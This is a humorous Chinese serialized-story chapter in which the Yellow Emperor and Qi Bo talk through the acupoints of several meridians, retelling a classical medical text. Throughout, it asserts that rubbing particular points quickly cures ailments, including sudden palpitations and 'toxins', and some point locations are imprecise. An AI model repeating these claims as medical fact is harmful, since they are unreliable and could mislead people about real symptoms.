岐伯笑了笑，说：“所以啊，黄帝啊，这肺经就像是咱们人体里的一个快递系统，把气血从起点少商穴一直送到终点尺泽穴，中间还经过了好几个中转站和主干道，保证了咱们人体的正常运转。” 黄帝一听，连连点头，说：“岐伯啊，你这解释真是太形象了，我现在对肺经有了更深入的了解了。” 岐伯说：“不止如此啊，黄帝。这肺经还有好多的作用呢。比如说啊，你感冒了咳嗽了，就可以揉揉少商穴，它能帮助你发散肺气，缓解咳嗽。还有啊，你要是觉得胸闷气短了，就可以揉揉太渊穴和经渠穴，它们能帮助你疏通肺气，让你感觉呼吸顺畅多了。当然了，尺泽穴也是个宝贝啊，它能帮助你调节肺气，治疗一些肺部的疾病。” 黄帝一听，眼睛又亮了，说：“岐伯啊，你这肺经的知识可真是丰富啊，我得好好学学。” 岐伯笑了笑，说：“黄帝啊，你学不学都行，关键是要记住啊，咱们人体的经络穴位都是宝贝啊，它们能帮助咱们调节身体、预防疾病、治疗疾病。所以啊，咱们平时就要好好爱护它们、保护它们、运用它们。” 最后啊，咱们再回顾一下这肺经的穴位吧：少商穴——大拇指指甲盖儿内侧的角上；鱼际穴——大拇指下面肉嘟嘟的地方；太渊穴——鱼际穴往后一寸的凹陷处；经渠穴——太渊穴往手腕方向跳动的脉搏处；尺泽穴——肘窝大筋外侧的凹陷处。这些穴位啊都是肺经上的宝贝啊，大家可得好好记住它们哦！ 黄 帝对岐伯说：“嘿，岐伯，我这心里头啊，老是琢磨着咱们人体的手少阴心经是怎么个走法，你能不能给我说道说道？” 岐伯一听，嘿，这黄帝今儿个是来对地方了，便捋了捋他那飘逸的胡须，慢悠悠地说：“得嘞，黄帝大人，您这问题问得好，咱们这就来一场说走就走的‘心经之旅’！” 岐伯清了清嗓子，开始了他的讲解：“这手少阴心经啊，它可是个深藏不露的高手，起点就在咱们的中冲穴。中冲穴在哪儿呢？就在你小手的中指最尖端，那可是个‘井木’之地，就像是心经这条河流的源头，清澈见底，活力满满。想象一下，你轻轻一按，就像打开了水龙头，心经的气血就汩汩而出，是不是很带感？” 黄帝一听，眼睛一亮：“哦？这么说来，中冲穴就像是心经的大门了？” 岐伯点头如捣蒜：“对头！接下来，这气血就顺着经络，流到了劳宫穴。劳宫穴啊，就在你手掌心，中指和无名指往下一指宽的地方，凹进去那么一小块，那可是个‘荥’穴，就像是心经这条河流的一个小湖泊，气血在这里稍作停留，积聚力量，准备下一段的旅程。你说，这劳宫穴是不是就像个加油站，给心经的气血加加油？” 黄帝笑得合不拢嘴：“哈哈，岐伯，你这比喻太形象了！那接下来呢？” 岐伯继续他的讲解：“接下来啊，气血就汇聚到了大陵穴。大陵穴在哪儿？就在你手腕横纹的正中间，两根筋肉之间，按下去有点酸酸的感觉，那可是个‘俞’穴，就像是心经这条河流的一个大坝，调节着气血的流量，确保它们既不过于汹涌，也不太过于平静。你说，这大陵穴是不是就像个交通警察，指挥着气血的通行？” 黄帝听得津津有味：“嗯，这比喻有意思！那间使穴呢？它又是个啥角色？” 岐伯微微一笑：“间使穴啊，那可是心经这条河流的一个中转站，位于前臂内侧，腕横纹上三寸，两根筋之间。它就像是个‘经’穴，气血在这里稍作调整，然后继续前进。有趣的是，间使穴这个名字，就好像是在说：‘嘿，气血啊，你在这里歇歇脚，等会儿再继续赶路吧！’不过呢，这个歇脚可不是随便歇的，要是气血太多了，它就会多停留一会儿；要是气血不够，它就匆匆而过，绝不耽误时间。你说，这间使穴是不是既贴心又高效？” 黄帝听得哈哈大笑：“岐伯，你这讲解真是太逗了！那最后呢，气血会到哪里？” 岐伯说：“最后啊，气血就流入了曲泽穴。曲泽穴在哪儿？就在你肘窝的内侧，弯起胳膊就能摸到一个小凹陷，那可是个‘合’穴，就像是心经这条河流的终点站，气血在这里汇聚成海，滋养着全身。你想啊，这曲泽穴就像是心经的大本营，所有的气血都在这里集结，准备下一次的征程。而且啊，这曲泽穴还是个急救要穴，要是有人突然心慌气短，你按按这里，立马就能缓解症状，是不是很神奇？” 黄帝听得连连点头：“真是太神奇了！岐伯，你这讲解不仅让我了解了手少阴心经的走向，还让我对这些穴位有了更深的认识。看来，咱们中医的学问真是博大精深啊！” 岐伯笑着说：“那是自然！中医这门学问啊，就像是一座宝藏，越挖越有味道。不过啊，黄帝大人，您可别忘了，这些知识可不是光听听就算了的，还得实践才行。您得经常按按这些穴位，感受一下气血的流动，这样才能真正体会到中医的奥妙之处。” 黄帝清了清嗓子，故作神秘地说：“嘿，岐伯，我听说人体里的经络就像城市的交通网一样错综复杂，今儿个我特别想了解一下，咱们那条大名鼎鼎的足厥阴肝经，它是怎么在咱们脚丫子上溜达的呢？” 岐伯一听，顿时来了精神，眼睛一亮，仿佛看到了讲相声的搭档，笑眯眯地说：“哎呀，黄帝兄这可是问对人了！来来来，让我给你细细道来，保证让你听得津津有味，还想再听一遍！” 岐伯顿了顿，开始了他那充满趣味又不失专业的讲解：“这足厥阴肝经啊，它可是个勤劳的小蜜蜂，从脚开始，一路向上，滋养着咱们的身体。它的起点，就是在大敦穴，听起来像不像是个‘大力敦实’的穴位？其实啊，它就在咱们的大脚趾头最靠外边的那个角上，还有啊，脚趾头缝里那几根汗毛中间，也是它的地盘。这个穴位啊，就像是肝经的‘井口’，是气血开始涌动的地方，咱们中医管它叫‘井木’，意思就是气血从这里像井水一样慢慢冒出来。” 黄帝一听，眼睛瞪得圆圆的，笑道：“哈哈，原来大敦穴还是个‘井口守护者’啊！那接下来呢？” 岐伯接着说：“别急，别急，咱们接着走。气血从大敦穴出来后，就溜达到了行间穴。这行间穴啊，顾名思义，就在大 脚趾和二脚趾之间的缝隙里，就像是两个脚趾在‘行走’的路上遇到了。这个穴位可是肝经的‘小溪流’，气血在这里稍微汇聚了一下，变得更加充沛，所以咱们叫它‘荥’穴。” 黄帝点了点头，笑道：“嗯，这解释挺有意思，那接下来是不是该到‘大河流’了？” 岐伯哈哈大笑：“黄帝兄真是聪明绝顶！没错，接下来咱们就到了太冲穴。这太冲穴啊，就在行间穴往上两寸的地方，也就是咱们脚背靠近脚踝那里，有个凹陷的地方，轻轻一按，哎哟，那叫一个酸爽！这个穴位就像是肝经的‘大河流’，气血在这里奔腾不息，力量强大，因此被称为‘俞’穴，也就是气血输注、汇聚的地方。” 黄帝揉了揉笑疼的肚子，说：“岐伯兄，你这解释太逗了，我都迫不及待想听下一个穴位了！” 岐伯笑了笑，继续道：“那咱就继续啊。气血从太冲穴出来后，就流到了中封穴。这中封穴啊，可不好找，你得先找到内踝，就是咱们脚踝内侧那个突出来的骨头，然后往前量一寸半，再往下按，有个凹陷的地方，就是了。这个穴位就像是肝经的一个‘秘密通道’，如果气血不通，这里就会堵得慌，咱们得‘摇足而得之’，也就是活动活动脚，让它通顺起来。所以啊，中封穴是肝经的‘经’穴，意思是气血在这里开始按照固定的路线前行了。” 黄帝听得津津有味，笑道：“岐伯兄，你这穴位讲解比听相声还过瘾！那最后一个穴位呢？” 岐伯神秘一笑：“最后一个穴位啊，那可是个‘大峡谷’！它就是曲泉穴。这曲泉穴啊，藏在咱们的膝盖内侧，你先把腿弯起来，然后摸摸膝盖下面那块突出来的骨头，就是辅骨啦，再往上摸，摸到一根大筋，曲泉穴就在这根大筋的上面。这个穴位就像是肝经的‘水库’，气血在这里汇聚成潭，深沉而宁静。所以啊，曲泉穴是肝经的‘合’穴，意思是气血在这里汇合、沉淀，为接下来的旅程做准备。” 本输篇第二（二） 话说有一天，黄帝心血来潮，对着岐伯说：“嘿，岐伯啊，我这人吧，就好奇心重，特别是对咱们人体的那些经络穴位，那是一点儿都不放过。今天啊，我就想问问，那足太阴脾经它是怎么走的呢？你给我细细道来，别藏着掖着哈！” 岐伯一听，心里暗笑黄帝还真是童心未泯，但面上却是一本正经地说：“得嘞，陛下您听好了，这足太阴脾经啊，它可是咱们身体里的‘营养快线’，负责给全身输送能量呢！咱们就从它的起点开始聊起吧。” “首先啊，这脾经从隐白穴出发。隐白，听名字就挺神秘的，其实它就藏在咱们的大脚趾内侧，靠近指甲根的那个小角落，就像是脚趾头上的小秘密，一般人我都不告诉他哦！这个穴位啊，在中医里可是井木穴，就像是树木的根，源源不断的给脾经提供着生命之源。” 黄帝一听，眼睛一亮：“哟呵，这隐白穴还挺有来头的嘛！那接下来呢？” 岐伯接着说道：“接下来啊，这脾经就溜达到了大都穴。大都穴嘛，就在隐白穴往脚脖子方向走一点，脚趾和脚掌连接的那个关节后面，有个小小的凹陷，那就是大都穴啦！它就像是脾经路上的一个小驿站，给经过的气血加加油，打打气。” 黄帝摸了摸自己的脚，想象着那画面，不禁笑出声来：“哈哈，这脾经还挺会享受的嘛，还知道在路上歇歇脚。” 岐伯也笑了：“可不是嘛，陛下。然后啊，脾经就来到了太白穴。太白穴这个名字听起来就像是武侠小说里的高手，但实际上呢，它就在咱们脚掌内侧，靠近脚踝的那个腕骨下面。这个穴位啊，就像是脾经的一个小仓库，储存着大量的气血和能量，随时准备给身体各个部位送去温暖和力量。” 黄帝点了点头：“嗯，这太白穴听起来确实挺重要的。那之后呢？” 岐伯继续讲解：“之后啊，脾经就沿着脚内侧一路向上，来到了商丘穴。商丘穴嘛，就在内踝的下面，也是个小凹陷，就像是脚脖子上的一颗小珍珠。这个穴位啊，可是脾经上的经穴，就像是经络上的一座桥，连接着脾经和其他经络，让气血能够畅通无阻地流动。” 黄帝听了，忍不住感叹道：“哎呀，这脾经还真是挺有意思的，一路上都是风景啊！” 岐伯笑道：“陛下说得没错，接下来啊，咱们就要说到脾经的合穴了——阴陵泉。阴陵泉这个名字听起来就像是武侠小说里的神秘宝藏，但实际上呢，它就在咱们小腿内侧，膝盖骨下方的凹陷里。这个穴位啊，就像是脾经的一个大仓库，储存着满满的能量和气血，一旦身体需要，它就会立刻输送出去，保证咱们的身体能够正常运转。” 黄帝听了，忍不住拍了拍岐伯的肩膀：“岐伯啊，你可真是我的宝藏啊！这脾经被你一说，我感觉自己都能摸出它的走向了。” 岐伯谦虚地笑了笑：“哪里哪里，陛下过奖了。不过啊，这脾经可不止这些穴位哦，它还有公孙、三阴交、漏谷、地机、阴交、腹结、大横、腹哀等好多穴位呢，每一个都有它独特的作用和位置。” 黄帝一听，眼睛瞪得圆圆的：“这么多穴位啊！那岂不是要记到猴年马月去了？” 岐伯笑了：“陛下别急，这些穴位啊，咱们可以慢慢来记。而且啊，您要是真对这些穴位感兴趣，我还可以教您一些简单的按摩和针灸方法，保证让您在家就能享受到中医的神奇疗效。” 黄帝一听，顿时来了精神：“真的吗？那你快教我！” 于是啊，岐伯就开始手把手地教黄帝如何按摩和针灸这些穴位。黄帝学得可认真了，时不时还提出一些搞笑的问题，把岐伯逗得哈哈大笑。 就这样啊，黄帝和岐伯在欢声笑语中度过了一个愉快的下午。而脾经的那些穴位和它们的神奇作用呢？也悄悄地在黄帝的心里扎下了根。 当然啦，在现实生活中啊，中医的经络穴位理论可是非常深奥和复杂的哦！不过呢，只要咱们用心去学习和体会啊，相信也能像黄帝一样，感受到中医的神奇魅力！ 最后啊，再给大家普及一下这些穴位的小知识吧： -隐白穴：不仅是脾经的起点，还是治疗月经过多、崩漏等妇科疾病的要穴哦！ -大都穴：对于治疗胃痛、腹胀等消化系统疾病有很好的效果。 -太白穴：是脾经的原穴，能够健脾和胃、理气化湿，对于治疗消化不良、胃痛等症状有显着疗效。 -商丘穴：能够治疗腹胀、腹泻、便秘等消化系统疾病以及下肢疼痛等症状。 -阴陵泉：是脾经的合穴，能够健脾利湿、通经活络，对于治疗水肿、腹胀、膝关节疼痛等症状有很好的效果。 黄帝这天心情特别好，突发奇想，就对岐伯说：“嘿，岐伯，我这心里头啊，一直有个小小的疑惑，就像猫爪子挠似的。你说说，咱们这足少阴肾经，它到底是怎么个走法？给我细细道来，让我这脑袋瓜子也开开窍。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 岐伯一听，哈哈一笑，捋了捋他那长长的白胡子，慢悠悠地说：“黄帝啊黄帝，你这问题问得好，问得妙，问得我这心里头直痒痒，想不跟你详细说道说道都不行啦！来来来，咱们这就从肾经的起点开始聊起。” “肾经啊，它可是个深藏不露的高手，起点就在咱们脚丫子底下，对，就是那个‘涌泉穴’。涌泉，听着就让人联想到泉水叮咚，其实呢，它就藏在你的脚心正中央，就像是身体里的一个小泉眼，源源不断的生命力就从这里开始流淌。这个穴位啊，按照中医五行来说，属于‘井木’，就像是森林里的第一口清泉，滋养着全身。想象一下，你站在山间小溪旁，第一捧清冽的泉水从指尖滑过，那感觉，是不是爽歪歪？” “接着呢，这股力量它不会闲着，它会继续往前溜达，来到了咱们的‘然谷穴’。然谷，听着就像是山谷里的一块神秘之地，其实它就藏在咱们脚踝内侧，那块叫做‘舟骨’的下面，就像是个小秘密基地。这里啊，是肾经的第二个穴位，叫做‘荥’，就像是小溪流汇聚成了小河，水势渐涨，生命力也更加旺盛了。你摸摸看，是不是感觉那里软软的，还有点弹性？对，那就是然谷在跟你打招呼呢！” “然后啊，这条小河它又继续往前奔流，来到了一个叫做‘太溪’的地方。太溪，听起来就像是深山老林里的一条幽静溪流，实际上呢，它就藏在咱们内踝的后面，跟骨上面的一个小凹陷里。这个穴位啊，特别重要，它是肾经的‘俞’穴，就像是河流中的一个大水潭，汇聚了来自四面八方的水流，滋养着周边的每一寸土地。你试着用手指按一按，是不是有种酸酸涨涨的感觉？这就是太溪在告诉你，它正在为你加油打气呢！” “接下来，咱们的小河它可没闲着，它继续它的冒险之旅，来到了一个叫‘复溜’的地方。复溜，听着就像是水流不断循环往复，永不停歇。这个穴位啊，就在咱们内踝上两寸的地方，你用手一摸，就能感觉到它在那儿动个不停，就像是有个调皮的小精灵在里面跳舞。复溜是肾经的‘经’穴，就像是河流中的一道激流，带着强大的力量，冲刷着身体的每一个角落，让咱们的身体更加健康，活力满满！” “最后啊，咱们的小河它终于找到了它的归宿，那就是‘阴谷穴’。阴谷，听起来就像是山谷中的一片阴凉之地，实际上呢，它就藏在咱们大腿内侧，膝盖后方的腘窝横纹内侧端，半腱肌、半膜肌止点的前缘凹陷处。这里啊，是肾经的‘合’穴，就像是河流最终汇入大海，所有的力量都在这里汇聚，达到了顶峰。你用手一按，哎哟，那叫一个酸爽，简直是身体的小确幸啊！阴谷穴就像是身体的总开关，调节着全身的水液代谢，让你的身体保持在一个最舒适的状态。” 说到这里，岐伯停了停，喝了口茶，润了润嗓子，然后继续道：“黄帝啊，你看，咱们这肾经就是这么一条神奇的河流，它从涌泉出发，经过然谷、太溪、复溜，最后汇入阴谷，滋养着咱们的全身。每一个穴位啊，都是一个小宝藏，等待着咱们去发掘，去珍惜。所以啊，平时有空的时候，不妨多揉揉这些穴位，就像是给身体做了一次spa，那叫一个舒服，那叫一个惬意！” 黄帝听完，哈哈大笑，拍着手说：“岐伯，你这讲解真是太绝了，听得我这心里头是既明白又舒服。看来啊，咱们这中医的学问，还真是博大精深，妙不可言啊！以后啊，我也要多学学，多揉揉这些穴位，让我的身体也变得更加健康，更加有活力！” 岐伯一听，也是笑得合不拢嘴，连连点头：“对对对，黄帝啊，你说得对。咱们中医的学问啊，就像是一座宝藏，等待着咱们去挖掘，去探索。只要咱们用心去学，去实践，就一定能收获满满的健康和快乐！” 当然了，说了这么多，大家可别光听不做哦。记得每天抽出几分钟，给你的涌泉、然谷、太溪、复溜、阴谷这些穴位做做按摩，让它们也感受到你的关爱。相信我，不出一个月，你就会发现自己的身体状态有了明显的改善，说不定还能收获意外的惊喜呢！比如，走路带风，爬楼梯不喘，连邻居家的狗狗都对你摇尾巴呢！哈哈，开个玩笑，但效果绝对是杠杠的！ 黄帝发话了：“嘿，岐伯，我这心里头啊，一直有个好奇的小火苗在烧，就是想问问，咱们那足太阳经，到底是怎么个走法？能不能给我来个现场直播，哦不，是详细解说？” 岐伯一听，哈哈一笑，捋了捋他那飘逸的胡须，说道：“黄帝，您这可是问对人了！来来来，咱们这就开启一场足太阳经的奇幻之旅！” “首先啊，这足太阳经，它可是个大家伙，从头到脚，贯穿全身，就像是一条金光闪闪的高速公路，负责运输咱们身体的阳气和气血。好了，咱们先从起点说起——至阴穴，听这名字，就像是武侠小说里的绝世秘籍，其实呢，它就在咱们脚丫子最小指头，也就是足小趾的外侧尖端，那儿就是它的藏身之地，属于井金穴，就像是这条高速公路的收费站，气血从这里开始汇聚，准备踏上旅程。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ “接下来，气血它溜达溜达，就到了通谷穴。这通谷啊，可不是通往山谷的意思，而是咱们脚小趾本节，也就是靠近脚踝那块儿的前外侧，有个凹陷的小窝，就像是给气血准备的一个小茶馆，让它们歇歇脚，喝口茶，再继续前行。这里呢，就是荥穴啦，气血在这里稍微加速，准备进入下一站。” “然后啊，气血就来到了束骨穴，这地方可不好找，得你低下头，好好瞅瞅，就在咱们脚小趾本节的后边，有个更深的小坑，就像是给气血准备的豪华休息室，让它们在这里养精蓄锐。这里就是俞穴，气血在这里得到了进一步的加强和整理，准备迎接接下来的挑战。” “接下来，气血它蹦跶蹦跶，就跳过了京骨穴。这京骨啊，听起来就像是京城里的大骨头，其实呢，它就在咱们脚外侧，靠近脚踝那块儿，有个凸出来的大骨头下面，就像是给气血准备的一个观景台，让它们站得高，看得远，顺便也感受一下脚下的这片土地。这里呢，就是原穴，气血在这里得到了升华，准备攀登更高的山峰。” “然后啊，气血它就爬上了昆仑穴，这昆仑啊，听起来就像是西游记里的仙山，其实呢，它就在咱们外脚踝的后面，跟骨的上边，就像是给气血准备的一座山峰，让它们在这里俯瞰大地，感受那份‘会当凌绝顶，一览众山小’的豪情。这里就是经穴，气血在这里达到了一个小高峰，准备进入最后的冲刺阶段。” “最后啊，气血它一路狂奔，终于来到了委中穴。这委中啊，听起来就像是给气血准备的一个豪华别墅，其实呢，它就在咱们膝盖后面的腘窝中央，就像是给气血准备的一个五星级大酒店，让它们在这里好好享受一番，放松放松。这里就是合穴，气血在这里汇聚成河，完成了整个足太阳经的旅程，也为我们的身体带来了无尽的能量和活力。” “不过啊，黄帝大佬，您知道吗？这足太阳经啊，可不止这几个穴位哦，它还有很多分支和联络点，就像是高速公路上的服务区、加油站，给气血提供各种便利。比如，它还经过了飞扬穴，那可是个能让气血飞起来的地方，就在小腿后面，外踝后上方，昆仑穴直上七寸的地方。还有承山穴，那可是个给气血提供坚实后盾的地方，就在小腿后面正中，委中与昆仑之间，当伸直小腿或足跟上提时，腓肠肌肌腹下出现的尖角凹陷处。还有合阳穴，那可是个让气血和谐共处的地方，就在小腿后面，委中与承山之间，当伸直小腿或足跟上提时，腓肠肌肌腹下出现的三角形凹陷处。” “您看，这足太阳经啊，就像是一条充满奇迹的旅程，每一个穴位都是一个独特的风景点，每一个气血的流动都是一个动人的故事。它们共同构成了咱们身体的健康网络，让咱们能够精神饱满地迎接每一天的挑战。所以啊，黄帝，咱们可得好好爱护它们，别让它们受到伤害哦！” 本输篇第二（三） 话说有一天，黄帝心血来潮，对身边的岐伯说：“嘿，岐伯，我听说足少阳经是人体的一条重要经络，它到底怎么走啊？你给我讲讲呗。” 岐伯一听，捋了捋长胡子，笑眯眯地说：“好嘞，陛下您听好了，这足少阳经啊，它可是个调皮的家伙，从脚开始，一路往上窜，咱们就从它的起点说起吧。” 黄帝眨巴眨巴眼睛，一副洗耳恭听的样子。 岐伯接着说：“首先啊，这足少阳经从脚上的窍阴穴开始。窍阴穴呢，就在您的小脚趾旁边那个次趾的脚尖儿上，那可是它的‘老家’，也是它的‘井金’之地。您想啊，井金井金的，不就是说它像个水井一样，藏着满满的金色能量嘛！不过啊，这金色能量可不是金子，而是咱们身体的阳气和活力哦！您要是觉得累了、乏了、没精神了！不妨多揉揉这窍阴穴！让它给您补充点儿能量和动力吧！” 黄帝一听，哈哈大笑：“原来如此，那这窍阴穴还挺有来头的嘛！” 岐伯点点头：“那是自然。接着呢，这足少阳经就从窍阴穴溜到了侠溪穴。侠溪穴在哪儿呢？就在您小脚趾次趾之间的那条缝儿里，就像是个小溪流一样，细细长长的。它可是足少阳经的‘荥’穴哦，就像是个小水库，储存着从窍阴穴流过来的阳气和活力。您要是觉得脚上没劲儿了、走路走累了！不妨多揉揉这侠溪穴！” 黄帝一听，忍不住插话：“哈哈，你这比喻真有意思，那接下来呢？” 岐伯继续讲：“接下来啊，这足少阳经就注到了临泣穴。临泣穴在脚上，从侠溪穴往上走一寸半的地方，您找个凹陷的地方就对了。这临泣穴啊，就像是足少阳经的一个‘驿站’，让阳气和活力在这里歇歇脚，然后再继续往上走。您要是觉得腿酸了、腿疼了、走不动路了！不妨多揉揉这临泣穴！” 黄帝挠挠头：“一寸半？这得多长啊？我这脑袋里可没尺子。” 岐伯笑了：“陛下您别急，一寸半嘛，大概就是您一个半大拇手指头的宽度。您试试，看看是不是这么个长度？” 黄帝一试，果然如此，不禁连连点头：“嗯，还真是这么回事儿！” 岐伯接着说：“然后呢，这足少阳经就经过了丘墟穴。丘墟穴在外踝的前下方，您找个凹陷的地方就对了。这丘墟穴啊，可是足少阳经的‘原’穴哦，就像是个大本营一样，指挥着足少阳经在全身的运作。您要是觉得身体不舒服了、哪儿哪儿都疼了、没力气了！不妨多揉揉这丘墟穴！” 黄帝一听，眼睛一亮：“大本营？那它一定很重要咯？” 岐伯点点头：“没错，所以这丘墟穴要是出了问题，那足少阳经可就得乱套了。” 黄帝若有所思地点点头：“嗯，我明白了。” 岐伯接着说：“接下来呢，这足少阳经就来到了阳辅穴。阳辅穴在外踝的上方，辅骨的前面，还有绝骨穴的末端。这阳辅穴啊，就像是足少阳经的一个‘加油站’，给它补充能量和动力。您要是觉得头晕目眩了、耳鸣耳聋了、记忆力减退了！不妨多揉揉这阳辅穴！” 黄帝一听，忍不住笑了起来：“哈哈，你这比喻真是越来越有意思了。那绝骨穴又是怎么回事儿呢？” 岐伯解释说：“绝骨穴啊，它就在阳辅穴附近，是个挺重要的穴位。不过呢，咱们今天主要讲足少阳经，这绝骨穴就先放一放吧。” 黄帝一听，连连点头：“好好好，那咱们继续。” 岐伯接着说：“最后啊，这足少阳经就进入了阳陵泉穴。阳陵泉穴在膝盖的外侧，您找个凹陷的地方就对了。这阳陵泉穴啊，可是足少阳经的‘合’穴哦，就像是个终点站一样，把阳气和活力都汇聚在这里。您要是觉得膝盖疼了、腿抽筋了、走不了路了！不妨多揉揉这阳陵泉穴！” 黄帝一听，恍然大悟：“原来如此，那这阳陵泉穴一定很厉害了？” 岐伯点点头：“没错，所以这阳陵泉穴要是出了问题，那足少阳经可就得遭殃了。不过呢，陛下您也别太担心，咱们中医有的是办法来调理这些穴位。” 黄帝一听，心里踏实了不少：“哈哈，有你在，我还有什么好担心的呢？” 岐伯一听，也笑了起来：“陛下您过奖了，我这不过是尽尽自己的本分罢了。” 说到这里，黄帝突然想起了什么：“对了，岐伯，我 听说这足少阳经还跟胆有关系呢，这是怎么回事啊？” 岐伯解释说：“陛下您说得没错，这足少阳经啊，它跟胆是相表里的。也就是说，它们俩就像是亲兄弟一样，关系紧密得很。所以呢，要是胆出了问题，那这足少阳经也得跟着倒霉；反过来呢，要是足少阳经不通畅了，那胆也得受影响。” 黄帝闲来无事，就对岐伯说：“岐伯啊，我最近对咱们人体的经络特别感兴趣，特别是那个足阳明胃经，你能不能给我讲讲它是怎么走的啊？” 岐伯一听，心想：“哎呀，黄帝这是要考我中医知识啊，得好好表现一番。”于是，岐伯就清了清嗓子，开始给黄帝讲解起来。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！岐伯说：“黄帝啊，这个足阳明胃经啊，它可是从咱们脚上的厉兑穴开始的呢！厉兑穴啊，就在你大脚趾和二脚趾之间，靠里边的那个角上，它就像是胃经的一个小小泉眼，是井金穴哦，代表着胃经的起点。” 黄帝一听，点了点头，心想：“哦，原来厉兑穴是胃经的起点啊，这名字还挺有意思的呢。” 岐伯接着说：“然后呢，胃经就从厉兑穴溜达到了内庭穴。内庭穴啊，就在二脚趾和三脚趾之间的外侧，它就像是胃经的一条小溪流，是荥穴哦。你想啊，小溪流嘛，肯定是要往前面流的啊，对吧？” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻可真形象啊，内庭穴就像是胃经的一条小溪流，不错不错。” 岐伯笑了笑，继续讲解：“胃经从内庭穴出来，就流到了陷谷穴。陷谷穴啊，就在你中脚趾和二脚趾之间的上面，往上走大约两寸的地方，有一个凹陷的地方，那就是陷谷穴，是俞穴哦。它就像是胃经的一个小山谷，水流在这里稍微停留了一下，然后继续往前流。” 黄帝一听，眼睛一亮：“岐伯啊，你这又给我上了一课啊，陷谷穴就像是小山谷，哈哈，太形象了。” 岐伯接着讲：“然后呢，胃经就从陷谷穴流到了冲阳穴。冲阳穴啊，就在你脚背上面，大约五寸的地方，也有一个凹陷的地方，那是冲阳穴，是原穴哦。你摇一摇脚，就能感觉到它的位置了。” 黄帝一听，哈哈大笑：“岐伯啊，你这冲阳穴的解释可真逗啊，摇一摇脚就能找到，这方法可真简单。” 岐伯也跟着笑了起来，然后说：“胃经从冲阳穴出来，就流到了解溪穴。解溪穴啊，就在冲阳穴往上大约一寸半的地方，也有一个凹陷的地方，那是解溪穴，是经穴哦。它就像是胃经的一条小河流，水流在这里稍微宽了一些，然后继续往前流。” 黄帝一听，点了点头：“嗯，解溪穴就像是胃经的一条小河流，这比喻不错。” 岐伯接着说：“然后呢，胃经就从解溪穴流到了足三里穴。足三里穴啊，那可是个大名鼎鼎的穴位啊，就在你膝盖下面大约三寸的地方，胫骨外侧，那里就是足三里穴，是合穴哦。它就像是胃经的一个大湖泊，水流在这里汇聚成了一股强大的力量。” 黄帝一听，瞪大了眼睛：“哦，原来足三里穴是胃经的一个大湖泊啊，难怪它那么重要呢。” 岐伯笑了笑，继续说：“胃经从足三里穴出来，就继续往下走，走了大约三寸的地方，就到了巨虚上廉穴。巨虚上廉穴啊，它就像是胃经的一片大草原，水流在这里变得平缓而宽广。” 黄帝一听，哈哈大笑：“岐伯啊，你这巨虚上廉穴的比喻可真有意思啊，大草原，哈哈，我喜欢。” 岐伯也跟着笑了起来，然后说：“然后呢，胃经就从巨虚上廉穴继续往下走，又走了大约三寸的地方，就到了巨虚下廉穴。巨虚下廉穴啊，它就像是胃经的一片小树林，水流在这里稍微绕了一下，然后继续往前流。” 黄帝一听，点了点头：“嗯，巨虚下廉穴就像是胃经的一片小树林，这比喻挺有新意的。” 岐伯接着说：“黄帝啊，这个足阳明胃经啊，它可是跟咱们的大肠和小肠都有关系的哦。大肠属上，小肠属下，它们都是属于胃的。所以啊，这个足阳明胃经啊，它可是咱们人体里面的一条非常重要的经络呢。” 黄帝有一天心血来潮，突然问岐伯：“嘿，岐伯，我这人对穴位经络啥的特别感兴趣，你能不能给我讲讲手少阳三焦经是怎么运行的？”岐伯一听，嘿，这可是个大话题，得好好给黄帝讲解 讲解，于是清了清嗓子，开始娓娓道来。 岐伯说：“黄帝啊，这三焦啊，它可是个神奇的东西，上接咱们的手少阳经，起点嘛，就在关冲穴。关冲穴在哪儿呢？你瞅瞅你的小指旁边的无名指，最顶端那儿，就是它了。这关冲穴啊，可是个‘井金’穴，就像是身体里的一个小水井，专门给身体提供金气，也就是那种清凉的、滋润的气息。你可别小看它，虽然小，但作用可大了去了！” 黄帝一听，点了点头：“嗯，听起来挺有意思的。那接下来呢？” 岐伯接着说：“从关冲穴开始，经络就溜达到了液门穴。液门穴啊，就在你无名指和小指之间的缝隙那儿，轻轻一摸就能摸到。这液门穴啊，可是个‘荥’穴，就像是身体里的一个小溪流，专门负责把身体里的各种液体，比如血液啊、津液啊，都疏导得顺顺畅畅的。所以啊，你要是觉得身体哪儿堵得慌，找液门穴就对了！” 黄帝一听，哈哈大笑：“岐伯啊，你这讲解真是太有意思了！那接下来呢？” 岐伯说：“别急，咱们继续。从液门穴开始，经络就注到了中渚穴。中渚穴啊，就在你无名指关节后边的那个凹陷处。这中渚穴啊，可是个‘俞’穴，就像是身体里的一个小水库，专门储存各种营养物质和能量。所以啊，你要是觉得身体疲倦、乏力啥的，揉揉中渚穴，立马就能感觉精神多了！” 黄帝一听，眼睛一亮：“哇，这么神奇啊！那接下来呢？” 岐伯说：“接下来啊，经络就经过了阳池穴。阳池穴嘛，就在你手腕上那个凹陷处，轻轻一按就能感觉到。这阳池穴啊，可是个‘原’穴，就像是身体里的一个小太阳，专门给身体提供温暖和活力。所以啊，你要是觉得手脚冰凉、怕冷啥的，揉揉阳池穴，立马就能感觉暖和多了！” 黄帝一听，笑得合不拢嘴：“哈哈，岐伯啊，你这讲解真是太逗了！那接下来呢？” 岐伯说：“别急嘛，还有呢。从阳池穴开始，经络就行到了支沟穴。支沟穴啊，就在你手腕上三寸，两根骨头之间的那个凹陷处。这支沟穴啊，可是个‘经’穴，就像是身体里的一个小沟渠，专门负责把身体里的各种废物和毒素都排出去。所以啊，你要是觉得身体里有啥不干净的东西，揉揉支沟穴就对了！” 黄帝一听，笑得前仰后合：“哈哈，岐伯啊，你这讲解真是太绝了！那接下来呢？” 岐伯说：“最后啊，经络就入到了天井穴。天井穴嘛，就在你肘部外侧那块大骨头上边的凹陷处。这天井穴啊，可是个‘合’穴，就像是身体里的一个小天池，专门把身体里的各种气血都汇聚在一起，然后再分配给身体的各个部分。所以啊，你要是觉得身体气血两虚啥的，揉揉天井穴就对了！” 黄帝一听，拍着手说：“哈哈，岐伯啊，你这讲解真是太棒了！那我还想知道，这手少阳三焦经还有啥别的特点或者作用呢？” 岐伯说：“当然有啦。这手少阳三焦经啊，它可是个连接全身的大通道。它不仅能调节身体的气血运行，还能影响身体的各种生理功能。比如说啊，它跟咱们的膀胱、肾脏、小肠等器官都有密切的联系。所以啊，你要是觉得身体有啥不对劲儿的地方，揉揉手少阳三焦经的穴位就对了！” 